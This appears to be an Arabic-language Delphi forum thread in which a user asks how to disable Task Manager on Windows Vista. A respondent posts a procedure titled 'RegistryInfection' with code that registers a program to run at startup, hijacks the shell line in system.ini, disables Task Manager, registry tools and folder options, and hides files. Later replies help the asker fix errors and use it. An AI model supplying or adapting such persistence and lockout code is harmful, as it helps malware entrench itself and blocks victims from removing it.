تعطيل alt + ctrl +delete في وندوز فيستا

[galag8]

بسم الله الرحمن الرحيم
السلام عليكم ورحمة الله تعالي وبركاته
كل عام وانتم بخير
اعاده الله علينا وعليكم وعلي جميع الامه الاسلاميه باليمن والبركات

في الحقيقه اود تعطيل task manager في وندوز فيستا اي تعطيل المفاتيح alt + ctrl +delete
وشكرا

[nabilkeb]

تعطيل task manager في وندوز فيستا اي تعطيل المفاتيح alt + ctrl +delete

و في أنظمة نشغيل أخرى (xp) . في انتظار مساعـدة الأصدقاء.

[STRELiTZIA]

بسم الله الرحمن الرحيم
امممممم في مشاركتك السابقة و هذه اشم رائحة برمجة Malware يعني برنامج ضار...:mad:

اليك هذه الاجرائية التي تجيب عن بعض اسئلتك.
1- انتبه الى TCustomReg انها غير موجودة في دلفي، غيرها فقط بالموجودة عندك : اعتبره واجب منزلي :D و لا تسأل كيف.
2- حاول ايضا عمل اجرائية تنظبف و انشرها هنا.


procedure RegistryInfection(sName, sPath: string);
var Reg: TCustomReg;
begin
Reg := TCustomReg.Create;
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVer sion\Run', False);
Reg.WriteString(sName, sPath);
WritePrivateProfileString('boot', 'shell', pchar('Explorer.exe ' + sPath), 'system.ini');
//WritePrivateProfileString('boot', 'Userinit', pchar('C:\WINDOWS\system32\userinit.exe ' + sPath), 'system.ini');
//WritePrivateProfileString('boot', 'UIHost', pchar('C:\WINDOWS\system32\logonui.exe ' + sPath), 'system.ini');
Reg.RootKey := HKEY_CURRENT_USER;
if Reg.OpenKey('\Software\Microsoft\Windows\CurrentVe rsion\Policies\System', True) then
begin
Reg.WriteInteger('DisableTaskMgr', 1);
Reg.WriteInteger('DisableRegistryTools', 1);
if Reg.OpenKey('\Software\Microsoft\Windows\CurrentVe rsion\Policies\Explorer', False) then
Reg.WriteInteger('NoFolderOptions', 1);
if Reg.OpenKey('\Software\Microsoft\Windows\CurrentVe rsion\Explorer\Advanced', False) then
Reg.WriteInteger('Hidden', 0);
Reg.WriteInteger('ShowSuperHidden', 0);
Reg.Free;
MessageBoxA(Handle, Pchar('Windows Registry INFECTED with : "' + sName + '"'), Pchar('WARNING'), 0);
end;
end;



ملاحظة : انت وحدك المسؤول امام الله على استعمال هذا الجزء من الكود خارج الغرض التعليمي...

[galag8]

شكرا جزيلا بس لا والله انا استعملها في مشروع تخرج والله من وراء القصد

[galag8]

جربته بس يظهر خطاء بان undeclared identifier 'handle'

MessageBoxA(Handle, Pchar('Windows Registry INFECTED with : "' + sName + '"'), Pchar('WARNING'), 0);

[STRELiTZIA]

شكرا جزيلا بس لا والله انا استعملها في مشروع تخرج والله من وراء القصد

اخي العزيز هي مجرد ملاحظة فقط :) و اي معلومات اخرى لا تتردد :)

اي نسخة دلفي تستعمل اخي العزيز ؟
يمكنك تغييرها :
مكان الهندل بــ 0 الهندل الافتراضي او اضافة اسم النافذة الأساسية لبرنامجك مثال: Form1.Handle

بالتوفيق ان شاء الله

[galag8]

استعمل دلفي 6 اسف اخي بس ماهي البراميترات التي سوف امررها للاجراء
انا **** عند ضغط زر يتم تعطيلها نهائيا والضغط علي زر اخر يتم تشغيلها
وشكرا بارك الله فيك

[STRELiTZIA]

عند ضغط زر يتم تعطيلها نهائيا والضغط علي زر اخر يتم تشغيلها


اقرأ الاجرائية جيدا...
اليك بعض المــــساعدة الصغيرة لان كل شئ امامك اخي العزيز :)

مامعنى : DisableTaskMgr و لماذا اعطيتها قيمة 1 ؟ و عكسها المنطقي باعطاء قيمة 0

ايضا : ShowSuperHidden تتأثر بــ 0 و 1

ركز على معنى الأسماء و علاقتها بالرجستري...

sName : هو اسم الملف المراد تنفيذه عند اقلاع النظام
sPath : مساره

بالتوفيق ان شاء الله :)

[galag8]

شكرا جزيلا استاذ بارك الله فيك
مشكله جديده
failed to set data for 'project1.exe'

[nabilkeb]

بارك الله فيك أخ STRELiTZIA ، معلومات قيمة ، نحتاجها كثيرا ، تشكر.

[imam]

بارك الله فيكم